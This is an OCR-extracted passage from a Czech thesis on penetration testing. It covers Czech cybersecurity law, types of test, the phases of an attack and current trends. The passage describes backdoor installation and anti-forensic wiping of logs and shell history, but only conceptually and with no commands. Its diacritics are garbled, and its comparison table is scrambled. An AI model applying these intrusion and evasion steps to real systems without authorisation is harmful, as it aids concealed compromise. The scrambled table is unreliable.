e zavést systém opatreni k reakci na kybernetické bezpecnostni incidenty,

e upravit ¢innost dohledovych pracovist.

Osoby a organizace, kterym se dle ZKB ukladaji povinnosti v oblasti

kybernetické bezpecnosti jsou dle § 3 tohoto zakona definovany nasledovné (28):
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g)

h)

poskytovatel sluzby elektronickych komunikaci a subjekt zajistujici sit
elektronickych komunikaci, pokud neni orgdnem nebo osobou podle pismene
b),

orgdn nebo osoba zajistujici vyznamnou sit, pokud nejsou sprdvcem nebo
provozovatelem komunikacniho systému podle pismene d),

sprdvce a provozovatel informacniho systému kritické informacni
infrastruktury,

sprdvce a provozovatel komunikaclniho systému kritické informacni
infrastruktury,

sprdvce a provozovatel vyznamného informacniho systému,

sprdvce a provozovatel informacniho systému zdkladni sluzby, pokud nejsou
sprdvcem nebo provozovatelem podle pismene c) nebo d),

provozovatel zdkladni sluzby, pokud neni sprdvcem nebo provozovatelem
podle pismene f),

poskytovatel digitdini sluzby.

Rozsah a obsah opatfeni je stanoven Narodnim uradem pro kybernetickou

ainformaéni bezpe¢nost (NUKIB) pomoci vyhlasky 82/2018 Sb. (VKB), ktera
nahrazuje starsi vyhlasku 316/2014 Sb. (26; 27) Tato vyhlaska dle NUKIB upravuje

(25):

obsah a strukturu bezpecnostni dokumentace,

obsah a rozsah bezpecnostnich opatreni,

typy, kategorie a hodnoceni vyznamnosti kybernetickych bezpecnostnich
incidentu,

ndleZitosti a zpiisob hldseni kybernetického bezpecnostniho incidentu,
ndleZitosti ozndmeni o provedeni reaktivniho opatieni a jeho vysledku,

vzor ozndmeni kontaktnich udajii a jeho formu,

zpuisob likvidace dat, provoznich tidaji, informaci a jejich kopii.

Vyhlaska VKB zpracovava smérnici NIS do Ceské legislativy. Tato vyhlaSka

dale vychazi zfady norem CSN/ISO/IEC 27K. (27; 25) Tyto normy piredstavuji

standardizaci systému fizeni bezpecnosti (ISMS) na mezindrodni urovni.
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NejzasadnéjSimi z téchto norem je norma ISO 27001, ktera stanovuje bezpecnostni
pozadavky a dale slouZi jako zaklad pro certifikace a audity. Audit jako takovy je dle
§ 16 VKB prvkem zpétné vazby tizeni informacniho systému a smi ho provadét dle

§ 7 pouze osoba s pozadovanou odbornou kvalifikaci. (26)

Penetracni testovani jako takové neni normou ISO 27001 explicitné
vyZadovano. (29) Norma vSak v bodé A.12.6.1 obecné popisuje nutnost organizace
aktivné jednat a nedovolit vyskyt technickych zranitelnosti. Tento bod je

ve standardu definovan nasledovné:

»Information about technical vulnerabilities of information systems being used
shall be obtained in a timely fashion, the organization’s exposure to such
vulnerabilities evaluated and appropriate measures taken to address the associated

risk. “ (29)

Norma dale definuje nutnost blize nespecifikovanym zpiisobem provadét

testovani bezpecnosti. Tato povinnost je uvedena v bodé A.14.2.8.
“Testing of security functionality shall be carried out during development.” (29)

Navazujici normy jako je ISO 27002 a dalsi uZ pojem , penetracni testovani“
zminuji, ale tyto navazujici standarty jsou pouze doplnénim a upfesnénim normy
ISO 27001. Na tyto dopliujici standarty uz neni vydavana certifikace, a proto se

penetracni testovani obecné na zakladé ISO 27K provadét nemusi. (30)

Vyhlaska VKB je ale v tomto ptisnéjsi a konkrétnéjsi. Dle § 11 odst. 3 povinna
osoba na zdkladé analyzy rizik rozhodne o provedeni penetra¢niho testovani, které
bude provedeno dle § 25 odst. 1 této vyhlasky. Tento odstavec je definovan

nasledovné (31):

e Povinnd osoba provddi penetracni testy informacniho a komunikacniho
systému se zamérenim na diileZitd aktiva, a to:
o pred jejich uvedenim do provozu,

o vsouvislosti s vyznamnou zménou podle § 11 odst. 3.
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Jak je tedy ziejmé, legislativa v CR pifmo adresuje problematiku

kyberbezpecnosti a penetracni testovani je toho soucasti.

Dal$i rozsireni legislativniho vymezeni kyberbezpecnosti je ocekavano
ke konci roku 2024 (32) spole¢né s implementaci nové evropské smérnice NIS2
do ¢eské legislativy. Dle NUKIB Ceska republika bude téZit z dosavadni legislativy,
ktera velkou radu novych povinnosti, které uklada NIS2, jiZ obsahuje. Nelze tedy
ocekavat, Ze tato nova legislativa prinese zasadni zmény v porovnani s legislativou,
ktera je jiz nyni platna. Velkou zménou vsak je rozsifeni mnozstvi subjektd, které
jsou takto regulovany z pribliZzné 400 na vice nez 6000. RovnéZ budou nové
do legislativy zavedeny 2 nové reZimy povinnych osob: ,important a ,essential”.

Druha z téchto osob poté bude mit prisnéji stanové povinnosti. (33) (34) (32)

6.2 Déleni penetracnich testa

Z divodu existence riznych pristupu k samotnym testiim, a tedy snahy zachytit
tento proces z riiznych perspektiv existuje nékolik déleni penetracnich testi. Tyto
testy je mozné délit napriklad dle umisténi penetracniho testera ¢i dle rozsahu

internich znalosti testerd.

e Externi: Externi penetracni testovani predstavuje prvnim z testd podle
této metodé je simulovan utok z vnéjsku sité a pentester disponuje pouze
vefejné dostupnymi informacemi. Tester tedy musi projit pres cilovy
firewall, IDS a dal$i metody zabezpeceni. Tento druh testu se tedy vérné snazi
simulovat pozici potencialniho ttoc¢nika. (35 str. 99; 36)

e Interni: Interni penetracni testovani, jak jiz nazev napovida predstavuje
opak toho externiho. Pri této metodé je samotny simulovany dtok veden
zevnitrl sité cilové organizace, coz ma simulovat napiiklad nespokojeného
zameéstnance nebo utoc¢nika, ktery disponuje vzdalenym ptistupem do sitové
infrastruktury spolec¢nosti. Cilem je provéreni bezpecnostnich mechanismi
slouzicich k ochrané zdrojli, dat a sluzeb pred neopravnénym piistupem.

(36)
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e Black Box: Dal$im z druhti déleni penetracnich testii je déleni dle rozsahu
internich znalosti testert. Zakladnim druhem z tohoto pohledu je tzv ,Black
Box,test, ktery nese oznaceni podle skutecnosti, Ze tester zna pouze vstupy
a vystupy aplikace. Detaily interniho fungovani systému jsou tedy z pohledu
penetracniho testera zcela nepriihledné, tedy jako ¢erna skiinka. Jednou
zvyhod tohoto druhu testu je naptiklad, Ze neni nutné, aby tester znal
pouZzité programovaci jazyky za uCelem analyzy cilového kédu. Nevyhodou
je, Ze nemusi byt objeveny zranitelnosti, které vyZaduji velmi sofistikované
pristupy. Je zjevné, Ze tento druh testu se nejvice podoba skutecnému
potencidlnimu realnému kybernetickému utoku. (36; 35 str. 100; 22 str. 64)

e White Box: Prirozenym opakem penetra¢niho testu typu Black Box je
penetracni test White Box. Jak nazev napovidda, tester vtomto pripadé
disponuje znalostmi architektury pocitacového systému a ma pristup
ke zdrojovym a konfigura¢nim soubortim. V piipadé penetra¢niho testovani
aplikaci je znacnou pridruzenou vyhodou tohoto pristupu, kde tester
analyzuje zdrojovy kéd aplikace i ndsledné doporuceni ohledné optimalizace
kédu. Touto metodou je také mozné najit vice zranitelnosti a v kratsi dobé.
(36; 35 str. 100)

e Grey Box: Logickou stfedni cestou mezi témito dvéma drive popsanymi
pristupy je metoda Gray Box, ktera se snazi maximalné vyuZit vyhod obou
vysSe popsanych pristupu. Tester pfi tomto typu testu disponuje limitovanou
znalosti ohledné internitho fungovani pocitacového systému, coz mu

umozZinuje lépe se na Utok pripravit. (36; 35 str. 100; 22 str. 64)

6.3 Obvykly postup penetraéniho testovani

Penetracni testovani se v praxi provadi dle prisné definovanych metodik. Tyto
metodiky obsahuji sadu pravidel, postupti a systematickych kroka, které maji byt
nasledovany za Uucelem efektivniho, dtkladného a dtsledného ziskani
konzistentnich vysledkii. Nékteré z téchto metodik jsou napt. Open Source Security
Testing Methodology Manual (OSSTMM), Open Web Application Security Project
(OWASP) Testing Guide, Penetration Testing Execution Standard (PTES) a National
Institute of Standards and Technology (NIST) Special Publication 800-115. (37)
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Cilem této pod-kapitoly neni popsat obvykly postup penetra¢niho testovani
v presnych krocich a dle pevné urcené konkrétni metodiky ale spiSe tento postup
uvést obecnéji, tak aby byl z velké ¢asti spolecny pro vSechny metodiky, a tudiZ i pro

penetracni testovani jako takové.

Clanek ,Ethical Hacking and Penetration Testing using Kali and Metasploit
Framework" (38) rozdéluje penetracni testovani do ctyr kroki: prizkum, ziskani
pristupu, udrzovani pristupu a uklid. Internetovy clanek kyberbezpecnostni divize
firmy Prosegur ,A Complete Guide to the Phases of Penetration Testing“ (39) uvadi
velmi podobné faze penetracniho testu. Toto rozdéleni vsak jesté dopliiuje o dvé
dalsi cisté formalni nalezitosti ,pred-zakdzkovd interakce” a ,analyza, reportovdni
a preddni doporuceni”. Pro UCely této podkapitoly je vyuZito rozdéleni, které vyuziva
prvni ze zminénych ¢lankd. Toto rozdéleni je vSak po vzoru druhého zminéného

¢lanku doplnéno o nezbytné formalni kroky na zaCatku a na konci samotného

penetracniho testovani.

Vzhledem ktomu, Ze penetratni testovani predstavuje simulovany
nepratelsky utok, jsou faze penetracniho testovani do urcité miry podobné
se skute¢nym Black Hat titokem. Toho je v této pod-kapitole vyuzito a ke kazdému
kroku penetracniho testovani je uveden i rozdil oproti skutecnému nepratelskému

utoku.

6.3.1 Pred-zakazkova interakce

Jedna se o Casto prehlédnutou, avSak naprosto nezbytnou fazi. Vtomto kroku
dochazi k formovani samotné zakazky a ke specifikaci pozadavkil zakaznika vcetné
presné definovaného rozsahu testu, pod kterym budou samotni testefi operovat.
Zakaznik obvykle presné urci, co od pentesterti pozaduje jako vystup, o jaky typ
penetracniho testu se bude jednat a dale dochazi k upresnéni rizik a podepsani

smlouvy stejné jako dohody o mlcéenlivosti. (39)

Pokud se nejedna o Black Hat Gtok, tak je tento krok nahrazen krokem, kde si
utoc¢nik podle sebou zvolenych preferenci vybira cil. Z logiky véci v tomto pripadé

pak s danym cilem samoziejmé Zddna smlouva uzaviena nenti.
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6.3.2 Priuzkum a identifikace zranitelnosti

Pred samotnym utokem dochazi k prizkumu a sbéru informaci. Jedna se o velmi
dilezity krok zejména pokud se jedna o skutecny Black Hat ttok ¢i pokud jde o Black
Box test, pti které uto¢nik o dané organizaci ma pouze velmi omezené informace.
SoubéZné s prlizkumem jsou zkoumany a zjiStovany zranitelnosti. Je posuzovano,
jestli jsou tyto zranitelnosti skute¢né exploitovatelné a to jak, nejlépe je mozné tyto

zranitelnosti vyuZzit. Existuji 2 druhy priizkumu. Pasivni a aktivni:

e Pasivni: Béhem pasivniho priizkumu se tester snazi ziskat co nejvice
informaci bez toho, aniZ by s danym systém, na ktery si chysta zadtocit néjak
pfimo ¢i nepfimo komunikoval. Cilem tohoto pristupu je co nejvice
napodobit potencidlniho nepiatelského utocnika. K priizkumu se zpravidla
vyuzivaji techniky ,Open Source INTeligence“ neboli OSINT. Tento soubor
technik spociva v ziskavani informaci z otevienych zdroja. Prikladem muze
byt napriklad vyuziti sluzby whois pro zjisténi vice informaci o majiteli
domény i prohlédnuti socidlnich siti za G¢elem zmapovani personalniho
obsazeni cile (38). UZitecnym ndastrojem pro ziskavani informaci v ramci
OSINT miZou byt i utility jako je napriklad i tzv. ,,OSINT Framework®, ktery
obsahuje odkazy na mnoho uzite¢nych nastroji pro ziskavani informaci
z verejnych zdroji. OSINT Framework mize také slouZit jako jakysi kontrolni
seznam pro to, co vSechno je Siroce pouZzivano a na co by dany tester/ato¢nik
nemél zapomenout. (40) Tyto funkce poskytuje i fada dalsich nastroji véetné
znamého nastroje Maltego, ktery umoZiuje automatizované vyhledavani
informaci z velkého mnozstvi vefejnych zdroju a jejich nasledné zobrazeni
do prehledného grafu. Tento nastroj je detailnéji popsan v nasledujici
kapitole.

e Aktivni: Dalsim druhem priizkumu je prizkum aktivni. Béhem tohoto
prizkumu utoc¢nik/tester uz komunikuje s cilovym systémem. Cilem je blize
zmapovat topologii dané sité Ci analyzovat oteviené porty. Aktivni faze
prizkumu je na rozdil od té pasivni daleko riskantnéjsi. Mapovani cizi sité
ajind komunikace sdanou siti, kterd mize byt povazovana

za nestandartni/podezicelou, miZe byt detekovana a nasledné identifikovana
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jako soucast utoku. V takovém pripadé utoc¢nik ztraci moment prekvapeni,
ktery mu do této chvile daval zna¢nou vyhodu. (38) Klasickym nastrojem pro
aktivni prizkum je tfeba i prosté vyuziti ICMP echo zprav s vyuzitim
napriklad ptikazu ping. Existuji ale i pokrocilejsi nastroje jako je Nmap, ktery
umoziuje vyuZit Sirsi Skalu technik k mapovani sité. Tento nastroj je rovnéz

detailné popsan v nasledujici kapitole.
6.3.3 Exploitace

KdyZ ma pentester zmapované a idenfitikované zranitelnosti, prichazi na fadu dalsi
z fazi, kterou je samotna exploatiace. Tester ma v této fazi za ukol zjistit, jestli jim
zamysleny exploit ma pozZadovany ucinek, jak daleko je mozZné se dostat, jaké
soubory a soucasti systému mohou byt takto kompromitovany a odhadnout i za jak

dlouho a zda viibec bude pfi tomto ttoku odhalen. (39; 38)

Neni dileZité, jen jestli se systém podatilo prolomit, ale hlavné i do jaké miry.
Pokud se podafi prolomit pfimo administratorsky/privilegovany ucet, tak nasledky
mohou redlné byt katastrofalni. AvSak i prolomené uzivatelské ucty mohou byt
uzitecné. Sjejich pomoci mize byt dale cilova sit zkoumdana, a to jak z hlediska
sitové topologie, tak i z hlediska internich informaci pfistupnych napft. pres sitové
disky ¢i jiné nastroje. DalS$i moZnosti je vyuziti uZivatelského uctu ke spusténi jiného
exploitu, ktery nasledné da utoc¢nikovi k dispozici prava administratorska. Tato

technika se nazyva ,privilege escalation“ neboli eskalace privilegii. (22 str. 71)

Pentester se pri exploitaci striktné ridi hranicemi, které mu byly urCeny

béhem pred-zakazkové interakce. (39)

6.3.4 Udrzovani pristupu a uklid
Jakmile je zabezpeceni pocitacového systému uspésSné prolomeno, prichazi na radu
udrzovani pristupu. Tato technika je zejména dtlezita, pokud se jedna o Black Hat
utok. UdrZovani pristupu miliZze byt vyreSeno instalaci zadnich vratek, tedy
alternativniho pristupového bodu do systému, ktery se vyhyba bezpecnostnim
protiopatfenim. (22 str. 138). Utelem udrzovani pfistupu mtiZe byt napiiklad

vyckavani na vhodnéjsi okamzik pro navazujici utok ¢i SpionaZz cilového systému.
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Instalace zadnich vratek do systému se miiZe jevit jako zbytecny krok, protoZe v této
fazi je jiz prokazano, Ze pristup je mozny skrze dany konkrétni exploit. Zadni vratka
vSak maji vyhodu, Ze pristup do systému bude mozZny i po odstranéni korespondujici
zranitelnosti. (1 str. 114) Dalsi vyhodou miiZe byt i to, Ze opakovany piistup
do systému vyuzitim konkrétni zranitelnosti mize byt detekovan i je prosté

nepohodlny/neprakticky.

Poté co je provedena uspésna exploitace a dalsi udrzovani pristupu do cilové
sité, je na radé uklid. V tomto kroku pentesteri typicky prekonfiguruji zpét jakykoliv
piistup, ktery pouZili k prolomeni systému, a zrusi jakékoliv nové uzivatelské ucty.
Soucasti je dale odstranéni skripti a spoustécich ¢i prozatimnich soubori stejné

jako vraceni vsech konfiguracnich soubort do ptivodniho stavu. (22 str. 71; 39)

Pokud jde o Black Hat utok, miize faze uklidu nastat jesté v okamziku, kdy je
systému nadale udrzovan pristup. Cilem je znicit vS§echny dlikazy, které by mohly na
pritomnost zadnich vratek upozornit ¢i po jejich odhaleni daného tuto¢nika usvédcit
(jedna se o udrzovaci a tzv. anti-forenzni techniky). Soucasti tohoto kroku miize byt:
Smazani historie prikazového adku ¢i vymazani nebo modifikace prislusnych logi
(38)

6.3.5 Analyza, reportovani a predani doporuceni
Zavérecnou fazi je reportovani a predani doporuceni. Pentesteri predaji firmé
detailni zjiStén{ v¢etné presného popisu, jakym zplisobem bylo ¢i nebylo dosaZeno
prolomeni bezpecnosti. Jaké OSINT informace byly pfi utoku vyuzity a jakym

zplUsobem by méla firma, ktera si tuto sluzbu najala, zvysit své zabezpeceni. (39)

Pokud se jedna o Black Hat utok, tak tato faze pochopitelné neni tieba.
Vyjimkou ale mohou byt situace, kdy se jedna napftiklad o utok na objednavku

a hacker takto prezentuje vysledky zakaznikovi.
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6.4 Aktualni metody a pristupy v oblasti penetrac¢niho

testovani

Penetracni testovani jakoZto disciplina se neustale v souvislosti s technologickym
pokrokem a se se zvySujicimi naroky na kybernetickou bezpecnost vyviji. V této
podkapitole budou uvedeny aktualni metody a pristupy stejné jako nové trendy

v této oblasti.

6.4.1 Automatizace a nastroje

Jednim z klicovych posunti v oblasti penetra¢niho testovani je vzristajici vyznam
automatizace celého procesu. Clanek ,Automated penetration testing: An overview"
(41) poznamenavd, Ze drive bylo pro provedeni uspésného penetracniho testu
nezbytné vyuzit vysoce vzdélanych expertli s mnohaletymi zkuSenostmi v této
oblasti. Toto logicky vedlo k tomu, Ze penetra¢ni testovani bylo velmi finan¢né
naroc¢né a v diisledku mensim organizacim takika nedostupné. Vyuziti automatizace
umoznuje aktivnéjsi zapojeni lidi s daleko mensi expertizou a zasadné Setfi cas
i financni prostredky organizaci. Vysoce kvalifikovani experti jsou nadale pro
penetracni testovani zcela nezbytni. Tito experti vSak namisto provadéni samotného
penetra¢niho testovdni na konkrétni organizaci vénuji svilij ¢as pravé tvorbé

automatizovanych nastroji. (41; 42)

Pravé automatizace vedla k tvorbé nastrojl jako je Metasploit Framework,
NMap, Burp Suite, které jsou blize uvedeny vimplementacéni casti. Vyhody
automatizovaného testovani vSak timto zdaleka nekonci. Konkrétni vyhody vyuziti

automatizovanych nastrojt autori ¢lanku (41) shrnuji v prehledné tabulce.
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Tabulka 1 Porovnani manualniho a automatického testovani. Zdroj: (41)

Automatizované

Manualni

Rychly, standardizovany;

Testovaci proces Testy jednoduse , v o .
. Vysoké ceny prizpisobeni
opakovatelné. . o
zakaznikovi.
Sprava databaze je manualni;

Manualni, nestandardizovany
proces; Finan¢né narocny;

Sprava database
zranitelnosti a
utoka

Je udrzovana databaze tutok

a jsou psany aktualizované

kédy atokt pro rizné
platformy.

verejné databaze; Nutnost

Nutnost spoléhat se na

pirepsani kédt atoku pro
fungovani na riiznych
platformach.

Sprava a vyvoj

Dodavatel produktu vyviji
a udrzuje vSechny exploity.
Exploity jsou priibézné
aktualizovany pro dosaZeni
maximalni ac¢innosti. Exploity
jsou profesionalné vyvinuté,

Vyvoj a adrzba databaze
exploiti je Casové narocna
a vyZaduje znacné odborné

znalosti. Vefejné exploity

jsou podezrelé a jejich

exploitl o N , R
p dikladné otestované spusténi miliZe byt
a bezpecné. Exploity jsou nebezpecné. Pro funkénost
napsany a optimalizovany napric¢ platformami je nutné
pro rizné platformy prepsat a prenést kod.
a vektory utoku.
., Reporty jsou automatizované . . v s 1w
Reportovani portyjsou auto! , VyZaduje rucni sbér dat.
a prizpusobitelné.
. ) . Tester musi ru¢né vratit zpét
Automatizované testovaci smeny v svstému kazde
Uklid produkty nabizeji reSeni pro 1YV SYSte ZCy
11 pokazdé, kdyz se najdou
uklid. . .
zranitelnosti.
. ey , o s s " MizZe vést k Cetnym Gipravam
Modifikace sité | Systém zistava beze zmény. sys ténzlu p

Logovani a
auditovani

Automaticky zaznamenava
podrobné zdznamy o vSech
¢innostech.

Pomaly, téZkopadny a casto
nepiesny proces.

Trénovani

Trénovani pro

automatizované nastroje je

jednodus$si nezZ manualni
testovani.

Testeri se musi naucit
nestandardni zptisoby
testovani; Trénovani muze
byt prizptlisobeno a je casové
narocné.
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6.4.2  Vyuziti nastroji umélé inteligence a strojového uceni
Nastroje strojového uceni a umeélé inteligence zaZivaji prudky boom a sjejich
pomoci je Siroka skala ¢innosti dramaticky zefektivnéna. Kviili tomu existuje snaha
tyto metody vyuZit v maximalnim moZném mnozstvi odvétvi a u penetra¢niho

testovani tomu neni jinak.

Vyuzitim strojového uceni v procesu penetracniho testovani se zabyvaji
napriklad autofi ¢lanku ,Automated Penetration Testing Using Deep Reinforcement
Learning” (43). Podobné jako v clancich (41; 42), zabyvajicich se vlivem
automatizace na penetrac¢ni testovani jsou vuvodni casti ¢lanku vyzdvihnuty
vyhody automatizace, avSak autori zdiraziuji, ze i prestoze diky existenci
automatizovanych nastroji je cely proces penetracniho testovani vyrazné
efektivnéjsi, zasah clovék je stale zcela nezbytny. V ¢lanku tedy autofi navrhuji
vyuziti nastrojii strojového uceni pro zvyseni efektivity penetracniho testovani
a uSetreni penéz cilové organizace. Za timto ucelem byl vytvoren model, ktery byl
trénovani na 2000 scénarich a validovan za vyuziti dalSich 1000 scénari. Tento
model dle autorti dosahuje 86% uspésnosti ve vybéru optimalni strategie pro
prolomeni pocitacového systému. Autoii vSak vzavéru svého clanku
poznamenavaji, Ze jejich model je prozatim vhodny pouze jako metoda predavani

navrhi skutetnému penetracnimu testerovi. (43)

Problematika vyuZziti umélé inteligence pro penetracniho testovani je
popisovana iv knize ,Intelligent Systems and Applications” v oddilu s nazvem
»A Comprehensive Literature Review of Artificial Intelligent Practices in the Field of
Penetration Testing” (44), ktery si vzal za cil zmapovat nedavno publikovanou
odbornou literaturu na téma vyuziti umélé inteligence pro identifikaci zranitelnosti.
Autori této reSerSe uznavaji vysokou efektivitu nastroji umélé inteligence pro
identifikaci zranitelnosti, avSak poznamenavaji, Ze naprosta vétSina analyzovanych
clank za tucelem otestovani svych reSeni vyuziva Kkontrolovana simulovana

prostredi a chybi jim provedeni post-exploitac¢nich ¢innosti. (44)

Namisto samotného penetracniho testovani je ale moZné vyuzZit nastroje

umélé inteligence a strojového ucenti i jako detekci a ochranu proti kybernetickym
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utokiim. Klasickymi pristupy pro detekci Kybernetickych utoki je vyuziti tzv.
JIntrusion Detection Systems (IDS)“, které funguji na principu automatizované
analyzy sitového provozu a jeho porovnavani oproti predem zndmym Skodlivym
vzorim provozu. Dalsi metoda, kterou IDS casto vyuzivaji, je tzv. ,behaviordini
analyza“, kterd funguje na principu monitorovani sitového provozu a hledani

jakékoliv neobvyklé ¢innosti.

Pravé v behavioralni analyza ma velky potencidl zvysit svou efektivitu

vyuzitim metod strojového uceni a umélé inteligence. (45; 46; 47)

6.4.3 Penetracni testovani v cloudu

vvvvv

aplikace a datova uloziSté pfimo na misté, dnes ¢im dal vice spoleCnosti ¢ast této
infrastruktury prenasi na tzv. ,cloud“. Tedy do vzdalenych prostredi, kterd jsou
poskytovana nékterym z cloudovych poskytovateld. Vyhody pro danou firmu jsou
zfejmé. Firma je takto schopna zvysit flexibilitu a Skalovatelnost svych sluZeb stejné
jako uSetrit penéZni prostredky. Tento trend vSak prinasi nové vyzvy pro

penetracni testovani. RozliSujeme 3 zakladni modely cloudovych sluzeb:

e Infrastructure as a Service (IaaS) model: Vtomto modelu zakaznik
pronajima od poskytovatele cloudovych sluZzeb celou infrastrukturu tedy
hardware jako jsou servery, sitové systémy, tloZné systémy apod. Zakaznik
ma tedy pod kontrolou softwarové vybaveni vCetné operacnich systémi
azajeho spravné zabezpecCeni i konfiguraci zodpovida. Z hlediska
bezpecnosti je nejcastéjsi hrozba spojend s SDN (Software Defined
Networking), coZ je novy pristup, ve kterém je i samotna pocitaCova sit
programové definovana. V disledku je tedy mozné se setkat s utoky na
komunikaci v ramci SDN vrstev. Dal$im dilezitym aspektem je zabezpeceni
jednotlivych virtualnich stroji; tyto stroje spolu sdili hardware, coz mize
predstavovat zranitelnost. Dilezité je také zabezpecit komunikaci
s virtualnimi stroji, protoZe tyto stroje jsou ¢asto rizeny a kontrolovany pres

sit internet. (48; 49)
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e Platform as a Service (PaaS) model: DalsSim modelem je PaaS. V tomto
modelu jiZ zdkaznik nema Kkontrolu nad infrastrukturou, a to vcetné
operacniho systému. Toto je zejména vyuZivano vyvojari aplikaci, kterym
tento model umoZnuje vytvaret aplikace bez nutnosti spravovat
podkladovou infrastrukturu. Z hlediska zabezpecenti je diileZité do prostiedi
spravné nasazovat aplikace. Dal$i riziko predstavuji vztahy se tretimi
stranami (napriklad externimi dodavateli, poskytovateli API sluZeb, ...)
a skutec¢nost, Ze v pripadé PaaS je vyvojartim softwaru dostupny privegovany
pristup do systému, coZz mize byt nepratelskymi utocniky zneuzito. (48; 49)

e Software as a Service (SaaS) model: Poslednim modelem je SaaS. V tomto
modelu poskytovatel cloudového resSeni spravuje celou infrastrukturu, a to
vCetné operacniho systému a aplikaci koncovych uzivatelt. Vyhodou je tedy,

srv

skutecnost, Ze na pocitac¢ich koncovych zakaznik@i neni nutna jiz Zadna
instalace software a Ze zakaznik se tedy zajima pouze o to, jakym zptisobem
bude dany software vyuzit, ne jak bude spravovan. Zptsoby utoku na takto
spravovany model jsou nejcastéji typu MITM (Man In The Middle) nebo
socialni inZenyrstvi. Pokud samotny SaaS vykazuje architektonické
problémy, hrozi odcizeni dat ¢i jiné problémy souvisejici s ochranou dat. (49;

50)

Za Ucelem vétsi automatizace, flexibility a Skalovatelnosti penetrac¢niho
testovani v cloudovém ¢i kontejnerizovaném prostiedi existuji rtizné nastroje
a frameworky. Jednim znich je tfeba Vulcan Framework, ktery slouZi pro
identifikaci zranitelnosti. Samotné penetracni testovani v prostiedi cloudu je
problematické vzhledem k tomu, Ze v cloudu dany zakaznik sdili hardware, a tudiz
existuje riziko ohroZeni nejen zakaznika, ktery si penetrac¢ni testovani objednal, ale
i jinych zadkaznik daného cloudového reseni. Penetracni testovani na produkénim
systému muze také generovat opravdu velké mnozstvi sitového provozu a tim
neumyslné celou sluzbu zablokovat. Z tohoto diivodu je nutné testovat v izolovaném
prostredi. Pri tvorbé izolovaného prostredi vSak existuje riziko, Ze vSechny
zranitelnosti nebudou uspésné nalezeny a otestovany (napi z dlivodu mirné odliSné

konfigurace izolovaného prostiredi). Tento problém je moZné reSit napr. skrze
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sluzbu Potassium navrzenou v clanku: ,POTASSIUM: Penetration Testing as
a Service“. Tento ¢lanek navrhuje sluzbu PTaaS (Penetration Testing As A Service),
ve které provozovatel cloudovych sluzeb se aktivné na penetracnim testovani podili
a za poplatek vytvori pomoci metod ptivodné urcenych pro migrace produkénich
systému presny klon produkéniho prostredi, na kterém poté samotné penetracni

testovani probéhne. Dojde tak k adresaci vSech nastinénych problémii. (48; 51)

6.4.4 10T a SCADA/ICS bezpeénost

Internet véci (IoT), tedy koncept neustile se zvétSujictho poctu mezi sebou
vzajemné propojenych zarizeni a senzord je vdnesnim svété jasny trend. Diky
tomuto trendu je dnes mozné lépe sbirat data pomoci mnozstvi senzort ¢i kamer,
na zakladé téchto dat je pak mozné optimalizovat rizné procesy, naptiklad vyrobni.
Tento fenomén se da v prostredi firmy bliZe popsat terminy SCADA (Supervisory
Control And Data Acquisition) a ICS (Industrail Control System). Tyto systémy
funguji nepretrzité za ucCelem monitorovani a ovladani kritickych vyrobnich
procest. Autori clanku ,SCADA Testbed for Vulnerability Assessments, Penetration
Testing and Incident Forensics“ poznamenavaji, Ze tyto systémy jsou navrZeny spise
s ohledem na bezpectnost provozu a na sitovou bezpecnost je kladen daleko mensi
zietel. Pokud je tedy takové zarizeni Spatnym zplisobem uvedeno do provozu
existuje znacné riziko, Ze toto zarizeni je kvili jejich legacy protokolim

a proprietarnim technologiim nachylné k napadeni. (52)

Lze tedy Fici, Ze kazdé dalsi zatizeni pripojené do pocitacové sité predstavuje
riziko z diivodu moZnosti existence zranitelnosti vtomto vyrobku a tim jsou

i zvySeny naroky na zabezpeceni celé pocitacové sité.

Prikladem série utokd na industridlni zatizeni je incident z roku 2022, kde tti
[ranské zavody pro zpracovani oceli ¢elily bliZe nespecifikovanému kybernetickému
utoku, ktery vyustil v zastaveni vyroby v tovarnach a v minimalné jednom ptipadé
byl timto incidentem vyvolan i poZar. Znamena to tedy, Ze kompromitace tohoto
typu zarizeni miliZe nejen znamenat velké ekonomické ztraty v podobé zastaveni

vyroby, ale pti nejhorsim i rizika zranéni a ztrat na Zivotech. (53)
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V ptipadé nedisledného zabezpeceni pocitacové sité je mozZné pomoci
jediného kompromitovaného zarizeni prolomit zabezpeceni celé pocitacové sité.
Penetracni testovani se diky tomu musi na takovéto eventuality piipravit
a pentestefi musi pri svém testovani dlsledné proveérit i zabezpeceni téchto

zarizeni.

V ¢dlanku: ,Testing IoT Security: The Case Study of an IP Camera“ autofri
testovali jednu zaktudlné prodavanych IP Kamer a nasli vni hned nékolik
zranitelnosti vcéetné toho, Ze kameru je diky uhadnuti vychoziho nazvu snadno
moZzné v siti najit. Daleko zasadnéjsi chybou vsak je nedostate¢né vyuziti Sifrovani

a nasledné riziko vyzrazeni citlivych dat. (54)
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7 Nastroje pro penetra¢ni testovani

Existuje nespocetné mnoZzstvi nastrojii pro penetracni testovani. (Webova stranka
https://en.kali.tools jich naptiklad ke konci roku 2023 eviduje ptres 400. (55))
Utelem této kapitoly vzhledem k enormnimu mnoZstvi nastrojii pro penetraéni
testovani neni detailné popsat vSechny dostupné moZnosti, ale priblizit radu

v

nejpouzivanéjsich, nejdostupnéjsich a nejuzite¢néjsich nastroju.

7.1 Specialné upravené operacni systémy

Pi vybéru nastroji u penetracniho testovani je vhodné zvazit i samotny operacni
systém, s jehoZz vyuzitim bude cely test veden. Znacna c¢ast nastrojii pro penetracni
testovani jsou primarné zamysleny pro platformu Linux, a proto je moZzné vyuZit

takrka libovolnou Linuxovou distribuci dle testerovi preference.

Za ucelem usnadnéni instalace a konfigurace opera¢niho systému je ale
vyhodné vyuzit nékterou z rady speciadlnich distribuci, které byly vytvoreny piesné
pro tento ucel. Tyty distribuce kromé predpripravené konfigurace obsahuji i Sirokou
skalu predinstalovanych nastroji pro penetracni testovani. Dalsi vyhodou
specializovanych distribuci je kromé toho i snazs$i dodate¢na instalace dalsich
nastrojli pro penetracni testovani diky tomu, Ze tyto nastroje jsou casto dostupné
pifimo ze zdkladniho repozitare. V pripadé béznych Linuxovych distribuci nemusi
byt instalace jednoducha a miize zahrnovat pridavani dalSich repozitari Cci

stahovani nastrojii externé.

Mezi nejpopularnéjsi volby se fadi napt. Kali Linux, Parrot OS a Black Arch.
(56) Pri SirSim porovnani téchto distribuci nelze fict, ktera z nich je nejlepsi. Riizné
distribuce jsou zpravidla vytvoreny pro mirné odliSna vyuziti. Pfi porovnani napf.
Kali Linux a Parrot OS je ziejmé, Ze Kali Linux je spiSe profesiondlni nastroj
zaméreny na penetracni testovani a auditovani, zatimco Parrot OS je méné
